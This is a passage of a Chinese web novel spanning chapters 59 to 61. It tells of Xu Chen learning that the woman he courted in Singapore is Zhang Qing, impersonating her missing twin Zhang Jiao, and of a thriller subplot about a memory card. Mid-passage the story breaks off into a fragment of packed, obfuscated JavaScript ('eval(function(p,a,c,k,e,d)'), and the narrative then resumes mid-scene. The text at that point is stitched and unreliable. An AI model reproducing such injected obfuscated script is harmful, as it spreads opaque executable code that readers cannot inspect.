许沉和她去餐厅吃西餐,她比以前文雅许多,鹅肝切得很好。以前死皮赖脸要他切,不切就不吃,他也倔着就不给切,哪能事事依着她。她开始耍赖,说他准备饿死她,可怜巴巴的声音,在餐厅里大声控诉他,周围投来谴责的目光,让他这个厚脸皮都觉得丢脸丢皮,恨不得挖条地缝把她塞进去。最后还是磨牙切肝堵她嘴。 她能吃得两条腿在他腿上乱爬,被他拍开又爬上去,拍开又爬上去,玩得不亦乐乎,高兴得眼里全是光,嘴上还不饶人,说他小气鬼,大度地把自己腿伸给他,笑嘻嘻说我腿给你爬呀,多大点事。 许沉经常被气得胸口疼。 晚餐用完了,许沉开车送她回家。他们像每一个许沉去学校接她送她回家的晚上一样,她很高兴地和他说再见,然后进了别墅。他也会笑着说明天见,看她进别墅。 接她放学、送她回家,参与她人生的每一件大事,和她度过每一天时光,明明是令人幸福的事,不知道为什么,许沉总是在她离开后,脸上的笑意骤退,望着院子里的树影,心脏像被树影罩住了,难受。 说不清道不明,没由来的难受。 但他知道,很多时候,他脸上的笑是假笑,假到他的嘴角都要僵硬了。 他和张姣之间不应该是这样,再一次,他想要独处,离开这里,回俄罗斯,他想更清晰地考虑他们之间的关系。这一次来新加坡,和他想象中的完全不一样。 他太迷茫了,迷茫而沉痛。 再一次接她放学,他说他要回俄罗斯一段时间。张姣问他怎么了,是这边不习惯吗。许沉撒谎了,说不是,俄罗斯有点事要处理,很快会再过来。 张姣没理由挽留他,只是再三确定他真的会回来。许沉朦朦胧胧有点知道问题出在哪里了,明明她很喜欢他,他也很喜欢她,两个人都是朝“在一起”这个方向迸进,然而,她会害怕他不回来,而他会对她说他要“回”俄罗斯,他会“再来”,而不是他要“去”俄罗斯,他会“回来”。 张姣没有安全感,许沉没有把张姣所居住的这个地方当成他的归属地,他潜意识还是把俄罗斯当成自己的窝。 他们之间,终究差了什么。 许沉需要想清楚,很明白地想清楚,他不想装了,不想装得每天看见她就笑,送她上学接她放学和她周末旅游。 夜晚落地窗倒映出的许沉,一脸阴郁,眉头紧皱。他知道,他不再是一看见张姣就欢喜,甚至不是一接到张姣电话会想像以前那样怦然心动。他有时候看见张姣会感到深深的难受,非常难受,接到她的电话会犹豫要不要接,有时候不想接。 错过一个电话,再接第二个的时候还要撒谎自己刚才有事没听见。 他曾经对张姣从不撒谎,有什么说什么,不管她高兴还是不高兴,她也一样,高兴不高兴都能把他惹毛。自从到新加坡,他学会对张姣撒谎,从小谎到大谎,源源不断,止不住,越滚越厉害。 为什么会变成这样? 许沉想不明白。 许沉回俄罗斯三个月,偶尔和张姣打个电话问问情况,或者网上聊个天,分享日常。 第四个月,张姣来俄罗斯了。四个月,许沉还是没想明白,不仅没想明白,他甚至有点过分的不怎么想和张姣分享日常了,有时候看见漂亮的日落想拍给张姣看,点进对话框,又不想发了,觉得很没意思。什么地方的日落不是日落啊,又不是俄罗斯的最美。 但人来了,许沉还是尽地主之谊,或者男朋友之谊,带她去莫斯科,去圣彼得堡,去贝加尔湖,去火山,吃松饼,俄式菜。 许沉很累,非常累,从心脏深处涌出 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也许他是受虐狂,也许他的物质生活过得太富足了让他犯贱,他就是喜欢那个浑身都是刺,张扬得像一颗艳丽太阳的张姣,而不是现在这样循规蹈矩偶尔高调一下的张姣。 但张姣喜欢他,从曾经到现在,她还是喜欢他。他能感受到。 要他直接丢开张情,他也做不到。当初他没把握好两人的界限,都越了界,而他因为张姣长大了性子变了,就要立即划分界限,他不行。 没有办法划分界限,那就试着去接受现在的张姣。 在张姣回新加坡的第三个月,许沉搬去了新加坡,他想尝试和张姣重新建立一段全新的感情,完全全新的,不是建立在14岁张姣之上的。是18岁之后的张姣的全新感情。 他努力换一种模式与张姣相处,努力让两个人的生活变得像每一对正常的情侣,像他哥嫂,像张姣学校里的情侣。 他和张姣牵手散步,他和张姣去枫林拍照,他和张姣接吻——这一步卡死了。他很要命地发现自己在亲吻她的时候在走神,他想起了曾经的张姣,那一口咬在他嘴上还怪他不好好长嘴巴非得长她面前欠咬的张姣。 他推开她,说了声对不起。 情侣之间应该做的,他都尝试着做了,循序渐进的尝试,一点一点的尝试。从并肩散步到他们牵手用了两个月,从牵手到亲脸颊用了半年,从亲脸颊到这个吻,用了一年多。张姣21岁了。许沉,31岁了。 许沉很神经病地发现自己在排斥她。 一个男人,在排斥一个爱自己、长得漂亮、自己曾经爱过的女人……他真是病得不轻。 曾经爱过,是的,无论他怎么努力,无论张姣如何爱他,他只是曾经爱她,曾经爱过。现在,早就不爱了,从第一次来新加坡,从参加她18岁的生日,他就不爱了。 他爱的,永远是曾经的张姣,记忆里的张姣。 只是想一想曾经的阿姣,那颗压抑的心脏都会跳动,溢满欢喜和延绵不绝的悲伤。他曾经丢下她跑了,那次离开让他彻底失去了张姣,如今两个人面对面在一起,仍旧回不去了。 许沉让张姣抽一天空,他想好好和她谈一谈,谈谈他们以后的事。 张姣是一个聪明人。她都懂,只是不愿意放手。她说没时间,抽不出空。 许沉没强迫她,只是等,他花了几年时间愿意和她重新尝试建立全新的感情,他也再拿得出几年的时间等她愿意和他谈一谈。 他回了俄罗斯。两个人的联系越来越少,到后来,两人的对话几乎只剩下“今天有空吗”、“聊一下吧”之类。 张姣22岁生日那天,许沉带了一份礼物过去。这些年,他每年都有送她生日礼物,不用她主动要,他主动送,每年都不落下。 还是那些生意场上的人,大家笑着问他们什么时候结婚,都交往四年啦,可以结婚啦,他们想吃喜糖了呢。 许沉应付过去,走到阳台边透风,还是那个老位置,阳台下面的那颗树枯了,不知道是家丁偷了懒,还是没人发现,树心枯了,黄黄的叶子掉了遍地,让那颗本来就孤零零的树显得更加沧桑。 许沉伏靠在栏杆上,盯着那颗树,抽起了烟。 以前是不抽的,因为张姣年龄小,她又分分秒秒坠在他屁股后面,抽烟对她不好。后来来了新加坡,和张姣的相处让他感到压抑,经常让他喘不过气。他抽起了烟,抽烟能让他有片刻的松快。 张姣长大了,也不用在意烟味影不影响她了。 “聊聊吧。”张姣端着酒杯走了过来,侧身靠在他旁边的栏杆上。 许沉侧头看她,隔着烟雾,她的脸颊通红,喝了不少酒。 他说,当心喝醉了。 张姣笑了一声,你关心我喝醉吗? 是真喝醉了。许沉叹口气,掐灭了烟,扔进垃圾桶。他说,等你酒醒了再聊。 张姣说,酒醒了就不想聊了。 那今晚是非聊不可了。 许沉说行,他问她,你以后什么打算? 张姣愣了一下,似乎没明白。 许沉说,真的很抱歉,这几年耽着你没说清楚。前些年我自己也没理清楚,现在我想清楚了。阿姣,我不打算结婚了。 她还是愣愣的,眼睛里却有了泪花,她听见他说的话了。 许沉偏开视线,不想看她哭,怕自己不忍心。 夜晚的风呼呼地刮,这一年的生日宴尤其冷,风刮在脸上割得疼。室内很暖和,也很热闹。不像这里,凄凄凉凉的。 许沉想让她进室内去,喝了酒又这样吹着风,很容易冻伤。 话没说出口,因为他看见张姣哭了,一串一串的眼泪留下来,滚过酒精染红的脸颊,从下巴滴进衣领。哭得悄无声息,哭得暗潮汹涌。 哭得许沉手足无措,也只是无措两秒。她不是以前的张姣了,不再让他感到手足无措,他看着她哭,内心意外的很平静。 最后,到底是他妥协,他说,如果你想结婚,我会给你办一场盛大的婚礼,按照你的喜好。但婚后,我们分居。 他说,对不起,我真的尽力了,没办法再爱上你。 张姣忽然哭出了声,控制不住地哭出声,她不想哭出声的,这么多人,不允许她放声哭。控制不住。她捂住脸,转过身,匍匐在栏杆上,背对室内,呜呜咽咽地趴在栏杆上哭。 许沉伸出手,轻轻拍着她的背,像曾经她总说她睡不着,要他哄睡觉。其实她哪是睡不着,是不想睡,她永远睡得比猪快比猪沉。 许沉心软了,但什么话都没说。再多的承诺,他做不到。 他爱张姣,不是性\爱张姣。他和她之间夹杂着她的14岁15岁,他永远跨不过14岁和15岁的她而不爱她但和她做\爱。他连亲吻都做不到。 张姣哭完了,强行哭完了。她埋在手臂里,低低地笑,说你后面这句话还不如不说呢。她抬起头来,眼泪闪烁的瞳孔凝视他,带着嘲笑,我有那么嫁不出去吗,要和你假结婚?我是谁啊,张泰宏的女儿,想和我结婚的男人能绕学校三圈,比你年轻比你帅比你会调情,别自作多情了,不是非你不可。 许沉笑了,说那样最好了。 张姣说,你爱过我吗? 许沉没有犹豫,爱过。 张姣:我,还是她? 这次换许沉怔住了,这一晚,他没喝酒,但他感觉自己脑袋糊住了。 我,还是她? 你爱过我吗?爱我,还是爱她? 他非常确定,张姣就是这个意思。 爱我,还是爱她? 爱我,还是爱她?爱她?爱她? 许沉望着张姣走出去的背影,在璀璨的灯光下,坚韧挺拔,她一步一步走向场中央的父亲和母亲,他们伸手牵住她,她站在两人中间,和周围的客人谈笑聊天。 她是那么温婉典雅端庄,像她的母亲,像极了她的母亲。 张姣不应该是这样的,张姣不怕天不怕地,不像她母亲也不像她父亲,张姣是不可一世谁也不放在眼里,张姣没有自己,张姣是可怜的,张姣是灿烂的,张姣是一轮炽烈的金阳,是一轮孤寂的月亮。张姣有藏在灿烂之下的悲伤,她藏得很好,但许沉知道,所以他才能总是又生气她又恨她又心软地可怜她愿意满足她一切无理取闹的要求。 张姣是需要人疼爱的,需要他疼爱,需要他保护,她的每一个笑都在祈求他,祈求他爱她,爱她一点点,哪怕只要一点点,她会把她全部的爱全部的时间全部的人生都奉献给他,只要他给她一点爱。 阿姣是缺爱的。 这个人不是,这个人很坚强,她需要的一切她能自己得到。阿姣不是,阿姣需要他给她。 他终于知道所有的不对劲来源于哪里了,来源于她不是张姣,他的阿姣,被他弄丢了,被他弄丢了…… 许沉不顾一切地奔跑,离开这里,离开新加坡,回到国内。 张情站在父亲和母亲的中间,看着许沉离开,背影匆忙,神色慌张。她笑着看着,几乎快要流出泪来。她端起酒杯,猛喝一口,将喉咙翻江倒海的哭意悉数压下去。 她告诉自己,人活一辈子,就是这样,有得有失。来新加坡之前,她贪心这荣华富贵,贪心张泰宏的家产,贪心张姣那叠在一起的一张张大额银行卡,于是,她一声不吭,跟着父母来了新加坡。 她以为自己只是贪恋钱财,等得到钱财,她可以离开,把位置还给妹妹,但她发现,自己除了贪恋妹妹的家产,还贪恋妹妹喜欢的那个男人。那个男人,让她看见的第一眼就喜欢,发了疯地喜欢。 她极力压制住的情感,努力扮演张姣的角色,成为他的女朋友,沦陷在他的温柔和宠溺里,不愿意出来,不愿意放手,尽管很早她就知道对方并不喜欢她,一切都在假装,她还是不愿意松口。 她鸠占鹊巢,霸占了妹妹所有的东西。 霸占的报应来了,许沉连她是不是张姣都不知道,却能直截了当开口说不想和她结婚,甚至为了他曾经和妹妹的那段算不上感情的感情又变成可以和她结婚,但分居。 真是搞笑。 世界上还有这样纯爱的男人? 张情快笑哭了。她逼回眼泪,笑着和妈妈的朋友聊天。那人问她什么时候结婚,她说,我想等读完书再说。妈妈的朋友登时夸她是个好孩子,夸她妈妈真有福气。 她在大人们来往的恭维里,和大人们笑成一团。 眼泪斑驳了灯光,她想起了妹妹,不知道她现在怎么样,在哪里,过得好不好。但她知道,她永远没办法变成妹妹那样,哪怕她对着镜子学会了妹妹那样的笑容,也没办法变成妹妹。 因为她不会站在这里,说这样的话,笑成这样。 她只会趾高气昂地把许沉扯过来,笑眯眯跟妈妈朋友说,我们原地扯证给你看成不成呀。 看,她知道妹妹会说什么话,做什么样的事,但她就是做不出来。她怕妈妈不喜欢,怕爸爸不喜欢,怕大人们不喜欢。 她怕的东西太多了,而她的妹妹,唯独怕没了许沉。 以后,妹妹就不怕了吧…… 60. 第 60 章 许沉回了国内。 他去上海,去曾经的张家,张家的别墅被别人买下来。几个老邻居还在,他打听了一下,老邻居们都说张姣移居去了新加坡。 所有人都把那个人当成张姣了,而真正的张姣,没人知道在哪里。 连许沉也不知道。 能打听到的概率不大,但许沉还是回了自己曾经的家,和新房东聊了会天,离开时恰巧碰见曾经的邻居。他们还住在这里。邻居笑着问他国外好不好,回来做什么。 许沉又和他们聊了会,准备走时,那个邻居忽然叫住他,说,你们刚搬走的时候,有个小姑娘来找过你们,看样子挺急的。那是谁啊?后来找到没? 许沉急忙翻出他和张姣在日本拍的照片,递给邻居看。邻居思索一番,有点犹豫地点头,说应该是吧。 许沉:什么应该是? 张姣很好辨认的,她与身俱来的骄纵,还有那么可爱乖巧的脸,让人看一眼就不会望,会很好辨认的。 邻居说:情况有点特殊,当时那姑娘浑身都是伤,满身血淋淋的,走路都是跛着脚,不知道遭遇了什么,印象深刻,所以看见你一下子就想起来了。 她说:当时一听你们搬走了,没你们电话,站在那儿哭得满脸都是血。 许沉越听越揪心,死死拧起眉,“她有说她住哪里,要去哪里吗?或者她有留电话吗?” 邻居摇了摇头,说她哭着走了。 哭得满脸血,怪瘆人的,她当时没敢追上去多问几句。 许沉找了公安的朋友,让人帮忙找张姣。名字在系统里搜索,全国各地,几千个张姣,没一个是他的张姣。 他到处找人,托关系,一天一天,一月一月,一年一年,找不到,完全找不到,一点线索都没有。 每回半夜,他都会被噩梦惊醒。他会梦见张姣浑身是血站在门口,控诉他抛弃她跑了,大骂他不是人。对,他不是人,他以前太窝囊了,太懦夫了,他不是人。 他在梦里使劲伸出手去抓她,想将她拉进屋里,想将她捂暖和,想喂她吃东西,他想为她做一切事情,但梦里的阿姣不让他碰,他一伸手,她就跑,跑得飞快,让他抓不住。 她沿路跑过去,跑过的路面全是她身上滴下来的血。血一边流,一边跑,逃命似的跑,就像背后有恶鬼在追她。 他不知道她经历了什么,为什么会浑身是血,为什么她没有跟张泰宏去新加坡,为什么有个和她长得一模一样的人变成了她住在她家成为“张姣”。 他不知道,他只知道阿姣受伤了,阿姣找不到了,阿姣有可能……他从梦里惊醒,浑身都是惊出来的冷汗,心脏狂跳,他再也睡不着了,坐在落地窗前,看外面的夜色。 凌晨的潮水翻滚起伏,拍出惊天骇浪。以前,阿姣就喜欢看这个,半夜三更扭着他来窗边铺地毯,说要睡这儿听潮水。那是她第一次来海边,他们刚从日本回来。 他说她无聊,让她爱弄不弄,反正他不弄。 她也没说什么,结果晚上睡觉的时候,扯住床单,将睡着的他连人带被褥地拽到地上,往落地窗边拖。也不知道瘦瘦的她哪儿来的那么大力气,直接将他拽到地上,摔醒了。 他气急败坏。她鼻腔哼哼出气,说许沉你个两百斤的大胖子,重得要死,减减肥吧,床都给你压塌了。 他妈的,许沉他一米八的个,才130多斤。到底胖哪儿了?到底把哪个床压塌了? 许沉指着她,咬牙切齿地叫张姣! 张姣嘿嘿笑,别急嘛,我给你重新铺一张床再睡嘛。她把他往边上一推,拽了床单扔到窗边胡乱铺两下,然后拍拍地面让许沉过去睡。 许沉决定睡床上,让她自个儿睡。她爬上床,用两条瘦瘦的腿把他踢下床,要去拽床垫。她人太小,拽不动。他嘲笑她,躺在床垫上,说你拽啊拽啊。 她不拽了,直接往他身上扑,这个人死死往他身上压,说,你不睡那儿我也不睡那儿了,我今晚就睡你,睡你! 她虽然瘦小,但完整地压在身上,又是专门挑胸口压,跟压了一块巨石一样重,压得许沉喘不过气。 特别是她还用手牢牢抱住他的肩膀,说,许沉,今晚老娘睡你。 许沉听懵了,十几岁的小屁孩上哪儿学的浑话。他把她扯下去,她又爬上去。再扯下去,再爬上去。 来来回回,两个人折腾到半夜,俱是筋疲力尽。 最后,床垫不知道为什么还是到了窗边。许沉累得直接睡着了。她躺在他的臂弯里也睡着了。 然后,许沉被她的大腿架脖子给压醒了。 那个女人睡觉就是那副死样子,一个小时能折腾几个姿势,晚上脚在床尾,早上就能变成脚在他脸上。 许沉躺在地上,看着玻璃上投射的影子,床单裹在他的腿上,就像阿姣抱着他的腿在睡觉。他伸出手,轻轻地摸了摸阿姣的头,她的头发很软,很顺很软,软和的。 许沉摸着,摸着,眼泪流了出来。 他想阿姣,比以往的每一天都想,想得心脏发疼。 他给“张姣”打电话,到现在为止,他都不知道对方和阿姣是什么关系,为什么会用阿姣的身份,住在阿姣家里,为什么长得一模一样。 那边接了电话,许沉迫不及待地问她和阿姣什么关系,问她知不知道阿姣在哪里,问她和阿姣的事,他想听,他想听那些他不知道的没参与过的关于阿姣的事。 对方说,没什么好说的,我不知道她在哪里,已经很久很久了,比你还久。 对方说,她没什么特别的事,除了你。我之所以在这里,是因为她要去找你,而我不得不顶替她留在家里。她被囚禁了。她唯一的事,就是找你。 许沉,她很爱你,爱到可以没有自己。 许沉,对不起。 电话挂断了。外面的天还是那么黑,墨黑,仔细看又有点深蓝,看着那片天,许沉不知道为什么,想起了那通接起来但没有说过话的电话。 他开始疯狂地翻找,已经很多年前了,仔细算算,得有五年了。早已经找不到了。 让通讯公司的朋友帮忙打通话单,打不出来。五年了,早没记录了,还是国际长途。 越是找不到,许沉越觉得那是阿姣,着了魔一样地认为那是阿姣。可是,他没抓住那个机会。 他去了黄关,很偏远的城市。 他在那里住了一年,找人打听张姣,拿着照片到处找,找不到,打听不到。 朋友说他是大海捞针,问他:你见谁真从大海里捞起过针?朋友说,你都34啦,女朋友不找,婚不结,就找个小侄女,至于吗?你他妈不会是恋童癖吧? 许沉自嘲,如果真是恋童癖就好了,就不用只想着那一个人了,想得心脏都生了病,34岁就生了白发。 如果是恋童癖就好了,他会像每一个变态那样,把她囚禁起来,不会让她到处跑到处受伤。她那么单纯,那么瘦弱,没有他,她这些年怎么过?谁帮她拧瓶盖?谁帮她切鹅肝?谁帮她拿鞋递袜?谁背她走路?谁给她盖被子?她睡觉那么不安分,没人盖被子冬天会感冒,夏天会凉肚子。 许沉35岁,从黄关住回了海边别墅。这是他们的家,他们一起待过的地方,这里有他们两个人最美好的回忆。 如果她找他,她一定会来这里。以前或许她来过,但因为他不在,没找着,然后离开了。现在,他每天住在这里,哪也不去,就在房子里,她再来找,一定能找到。 那个人不是说了吗,阿姣只有他,阿姣除了他什么都不要,连自己都不要。那么爱他的阿姣一定会来这里找他,只要他乖乖待在这里等她来,哪里都不去,就乖一点,等她来。 他把床搬到了落地窗边,只等她来,就可以直接睡在落地窗前,听海浪的声音,听海风的声音,一边听一边睡觉。 许沉36岁,没有等来阿姣。 许沉37岁,没有等来阿姣。 许沉38岁,没有等来阿姣。 许沉39岁,没有等来阿姣。 许沉40岁了,还是没等来阿姣。 许沉41岁,依旧没等来阿姣。 许沉42岁,他躺在落地窗前的床上,看海面波光粼粼,夕阳染红了水。 这一年,原本会像以往的每一年,平静翻过去。一串铃声打破了房间的寂静。 他的手机很久不响了,朋友们各自成了家,有些都抱上孙子了,不再像以前那样约出去玩了。而且他总是约不出去,于是越来越少的人联系他。 一年到头,只有他哥给他打个电话,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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长久的沉默,那边没有回应。回应他的,是死亡的寂静。 他的双手抖得愈发凶了,缠着声音叫:“阿姣……” 电话断了。 许沉疯了一样地举起手机,狂按拨号键。他给她打过去,打不通,语音提示他对方不在服务区请稍后再拨。 他再打,打一遍,两遍,三遍,十遍,一百遍,回答他的永远是那串冰冷的语音提示,不在服务区不在服务区不在服务区。 打到手机没了电,打到手机提示准备关机,仍旧不在服务区。 许沉慌慌张张去找充电器,充电器不知道在哪里,他太久太久没用手机了,很少给手机充电。 他抱着手机,满屋找,手机在他怀里闪了闪,开始息屏了,关机了。 彻底关机的瞬间,他终于找到了那根掉在床底下的充电器。 插上充电器,给手机充电。屏幕亮了,但开不了机,要冲一会儿才能开。 他疯狂摁开机键,强行开机。 他不可以关机,不可以关,万一阿姣给他打电话怎么办,关机会错过的,他错过阿姣一次两次三次,不能再错过四次了,这是最后一次,没有下一次,没有。 在按了几十次强行开机,或者几百次,手机终于开机了。他第一时间去看通话记录,没有未接电话,被他反复拨出去的陌生号码占据整页屏幕。 他摁着那个号码,再拨,再打,再拨,再打。 不在服务区,不在服务区,不在服务区。 他终于换了一个号码打,给朋友们打电话,让朋友帮他查这个号码现在在哪儿,给他定位。 朋友说定不到。 怎么可能定不到!通过电话,通了两分钟,怎么可能定不到!他疯了一样朝朋友喊。 朋友让他冷静。他的朋友说,这个号码被屏蔽了,查不到。不过我倒是查到这张电话卡的身份信息。 许沉:谁? 朋友:张情。 许沉:谁?? 朋友:张情。说来也巧,和你家张姣一字之差。 张情,2012年来自黄关的陌生号码。张情,2030年来自平城的陌生号码……那些奇怪的点一下子串起来了。 张情,张姣,张泰宏,黄关,张泰宏妻子的家乡,张情,张姣…… 说来也巧,和你家张姣一字之差。 一字之差。 一字之差,天人永隔。 61. 第 61 章 陈宇南觉得自己倒霉得不能再倒霉,他怀疑自己上辈子一定诛了平月九族,不然他这辈子怎么这样倒霉? 明明和他无关,他被卷进来。明明他可以清清白白走,偏偏往南墙撞非要去帮平月,明明她是个杀人不眨眼的凶手,连环凶手,那种一播出去绝对占领新闻、网络高地,引起全国轰动的连环凶手,他还想帮她办事,自告奋勇的办事。 他就是个傻逼,上辈子欠她的傻逼。 陈宇南越这样想,脚下越打滑。暴雨后的山又滑又湿,土壤松散,他一脚踩到塌陷的山坡边缘,整个人就像断了腿的废人,哗啦一下往前扑,顺着山坡咕噜噜滚了下去。 挂满雨水的草割破了他的手和脸,腰撞到树上,他闻到泥土的腥臭和血的腥臭,还有湿漉漉的水味。鼻腔里吸满了湿黏黏的土,也不知道自己往哪儿滚了,好像是撞在石头上去了,撞得又晕又疼,视野模糊,看天是转的…… 晕过去时,陈宇南想,他这辈子真是牛逼死了,要是能活着回去,以后搁人面前他还能吹牛说自己从连环杀人凶手手下活活逃出来、又在边境山脉摸爬打滚滚回家的,这不比什么尾崎八项牛逼? …… 陈宇南被冻醒了,有些茫然地看天,阔叶之间投下来的微弱的天光。树林里阴森森的,又冷又暗。脑海逐渐清晰,他想起来了,自己要下山。 他扶着那块挂着他血迹的石头坐起来,脑袋一阵晕眩和刺痛,让他想吐。他弯腰在石头旁吐了,没吐出什么。 靠着石头狠狠喘了几口气,然后抽出背包侧面的矿泉水灌了几口,从包里拿出饼干啃。 咬到了一块硬邦邦的东西,差点硌崩了他的牙。他龇牙咧嘴缩着牙嘶了两声,舌头从一堆咬碎的饼干里舔到那东西,往嘴边顶。 顶着顶着忽然感到那东西不是石头,是一块平扁的,有点薄,有点像正方形,还有个小缺口,如果非要形容,好像是……电话卡?对,就是电话卡那样的东西,正在他的嘴里。 他怔在那里,不知道该吐还是不吐。他抬手摸到嘴边,想拿出来,又忽然顿住。他想,平月为什么要在一堆饼干里放张电话卡?肯定是不想让他偷偷摸摸带出去!如果平月在一堆饼干里吃到一张电话卡会怎么做?毫不犹豫的,陈宇南直接咽了下去。 有点哽人,他举起矿泉水瓶猛灌。终于将那东西压了下去,然后开始在心里骂自己真是个大傻逼。谁他妈把电话卡吃肚子里?就算平月真把一张电话卡藏在饼干里,这山上生不见人死不见鬼的,他吐出来再捡起来揣好又能怎样? 回去还得拉,操! 吃完了,休息几分钟,他撑起身,一瘸一拐往山下走。 而他的身后,茂密的阔叶里,藏着一个接一个的摄像头,随着他行走的方向而旋转拍摄。摄像头镜片的蓝光被掩盖在宽大的绿叶之下,幽幽发光。 “要处理吗?”耳麦里传来询问,Jck在看屏幕上的监控录像,陈宇南一脚踩进浅坑里,差点又把自己送下山崖了。 这个男人,真的挺笨的,想不明白平月为什么不下杀手。这么笨的男人,真的能帮她做事吗? Jck看过玻璃房里的所有监控,平月和他的接触约等于没有,最初说两句话,中间还得夹杂一个悦凌凌。后来连话都不说了。 平月放他走,是单纯的放他走? Jck吃不准,也有点好奇,“再看看。” …… 陈宇南下山用了一个多月,风餐夜宿,虫蚁蛇鸟。踩在水泥地上的第一个想法是——这辈子再也不想看见山了,以后谁要是叫他去爬山他打死他——完了,他开始有暴力思想了。 他骂骂咧咧沿着水泥路往前走,走了两个小时都没看见一辆车。登山包已经空了,干粮全吃完了,里面只有他在山上装的几瓶山泉水,也不知道有没有寄生虫。不管了,反正喝大半个月了,除了拉肚子没别的。 想起拉肚子,他就忍不住皱眉。 天知道他每回拉完肚子都得捏着鼻子用棍子往屎里找电话卡。每回拉,每回找。找了差不多十次,终于找到那玩意儿,不是电话卡,是一张黑色的内存卡,在一滩黄色液体里刺痛人眼睛、鼻子、脑袋、肉\体和心灵。 不知道是不是屎里找东西的次数太多了,他现在拉完屎,提上裤子都忍不住回头往里面看看有没有什么玩意儿。 真是疯了。 陈宇南要疯了。 在疯癫达到临界点的巅峰时,身后终于响起汽车的奔腾声。他扭身拦在路中央,远远将汽车拦下来。破烂的老爷车。 车主人好心善,愿意搭他去火车站。附近只有一个火车站,客车站在巴斯小镇的中心,过去要开车六个小时。 这里是边境线的边境线,车主问他是徒步的,还是想偷渡的。 陈宇南忘记怎么回答的了,他累得慌,在山上从来没真正地睡着过,睁眼提心吊胆,闭眼提心吊胆。现在上了车,老破车颠颠簸簸,将他颠簸得一秒入睡。 司机听见他的呼噜声,转动眼珠看了他一眼。他摁了几次喇叭,身旁的人睡得和死猪一样,动都没动一下。司机一手握着方向盘,盯着前方,另一只手探进搁在陈宇南腿上的登山包,轻车熟路从里面夹走那张内存卡。 内存卡的味道不好闻,让司机皱了皱眉,下一秒就扔进车门储物的空隙里。 …… 火车站到平城要坐46小时,陈宇南买了有飞机场的最近的一个城市的车票,坐过去,再转飞机回平城。 父母上班去了,家里只有佣人。 佣人很诧异他的回来,两个月前,他可是说了要去参加夏令营,得九月份回来,这才八月底。 陈宇南随口敷衍过去,提包上楼扔在床边的地上就去洗澡了。洗完澡出来,佣人给他端了饭来。他胡乱塞了两口饭就往床上躺,恨不得睡他个七天七夜。结果刚闭眼又立刻坐了起来——平月给他的那个内存卡到底是什么东西? 好奇将困意完全驱逐出去,他拎起登山包搜内存卡,搜来搜去,上上下下翻遍了都没有。 陈宇南人傻了,他记得自己从屎里挑出来的时候,很嫌弃地用树叶擦了几下,又用水冲了几下,再用树叶擦几下,然后放进登山包最内侧的小内包里。小内包有拉链,无论他是在山上打滚还是怎么都不会掉出来。 但现在,真的没有了。 他拎起登山包使劲抖,抖啊抖,矿泉水瓶子掉了一地,树叶落了一地,干掉的泥巴落了一地,就是没那张内存卡。 完了,被他搞掉了…… 平月要他帮忙做的事一定放在那张内存卡里的,但是……被他搞掉了…… 陈宇南傻傻坐在地上,人呆了。 …… 内存卡被一张洁白的纸托着放在棕色的办公桌上,Jck坐在对面,盯着那张内存卡,嫌弃的眼神,隔着十米的600度近视眼的助理没戴眼镜都看清了。 Jck后悔了,他应该让人直接在山上把陈宇南给剖了从胃里取出来,而不是现在这样…… 不……他也没料到陈宇南吃的干粮里有这东西,更没料到陈宇南那傻逼吃到了还给吞下去。 正常人不是吃到了就吐出来吗? Jck怀疑陈宇南那傻缺自己都没想到自己会在山上待一个多月,那傻缺肯定想着憋回去拉家里……真是傻逼电视剧看多了。 Jck对门外的助理招了招手,助理立刻拿起搁在桌面上的眼镜戴上,屁颠颠跑过去。 “把它插上。”Jck瞥了内存卡一眼,立刻挪开视线。 助理“哦”一声,直接伸手拿起那张内存卡,往读卡器里一插,对Jck说:“好了,老板。” Jck的视线落在他的手上,落在那张纸上,落在办公桌上,落在读卡器上,落在自己的电脑上,他感觉自己的电脑脏了,已经脏了,整个办公室都脏了,完全脏了。 “脏了。”Jck盯着助理的手。 助理懵逼:“啊?” Jck又重复一遍:“脏了。” 助理:“?” Jck:“后面一个月你不用来了,明天把办公桌换了,电脑换了,那个……读卡器丢掉,你去……” “老板——!”助理泪眼汪汪,一脸不明所以的绝望。 Jck咳了一声,没让他去人事部,而是说:“放你一个月假,好好洗干净你。” 助理:“……?” 助理:“……有工资吗?” Jck:“有。” 助理欣喜:“我一定把我洗得干干净净再来上班!” Jck挥手让他去吧。助理欢天喜地走了。Jck嫌弃地戴上手套,握住鼠标,点击读取内存卡。 办公室的读卡器是从那个地方带出来的,不管是电脑还是储存卡,只要插入其中,就能自动破解带密码的文件和所有隐藏文件。 出人意料的,Jck读取了内存卡,但什么都没有,空的,空白的,一张空白得如白纸一样干净的内存卡。 什么文件都没有。 怔了几秒,然后他知道,自己被平月耍了。 平月……哈…… 桌面日历显示今天是2030年8月27日,那场每隔四年一次的游戏,马上就要开场了。 Jck扔掉鼠标,褪下手套,起身往办公室外走。 秘书问他去哪,他手里关于老板的日程表上,今天没有外出的行程。 Jck说:“去看戏。” 这一年游戏,他准备去小镇玩玩。 …… 搞掉了……那就没办法了。陈宇南不可能再跑回边境山上,一寸地一寸土一寸草地去找那张和指甲壳一样小的内存卡。 掉了,那就说明他果然还是不适合办事,天意如此,既然已经回来了,那就偷偷摸摸活着吧,希望平月别杀来他家。 他决定了,以后不去任何偏僻地方,不走任何偏僻路线,不一个人外出,不去所有有可能被暗杀的地方,这样,平月应该杀不了他了吧…… 他爬上床,胡思乱想着睡了过去。 自己家就是睡得香,一觉睡到第二天下午,饿醒的。他拉开门让佣人把饭端上来,然后去浴室冲凉。 出来时,佣人正将热乎饭菜搁在窗边的桌上。 “现在收拾房间吗,还是等你下楼后再收拾?”佣人看着那一地的泥啊树叶啊瓶子啊,有点洁癖地皱起眉。 陈宇南让她现在扫吧。 佣人问他背包还要不要。 陈宇南摆摆手:“不要。” 留着就是一场噩梦。 佣人捡起背包带走了,本来想扔,但登山包的手感很舒服,材质很好,整体完好无缺。她想着洗干净了还能用,就拿去洗了。毕竟主人家的东西都是好东西,主人不要,她留着装装衣服什么的都挺方便。 …… 陈宇南吃完饭站在窗边伸懒腰,窗外是后花园,种了些花花草草,远处是小区种植的繁茂树木,夕阳透下来,是暖洋洋的光线。 果然还是家里好。 他下楼让佣人泡茶,端去后花园,往躺椅里一靠,枕着手臂,一边喝茶一边看夕阳。 将将看得人有些迷糊,佣人拎着一个黑色东西出来,走到后花园边缘的晾衣绳前,挂了上去。 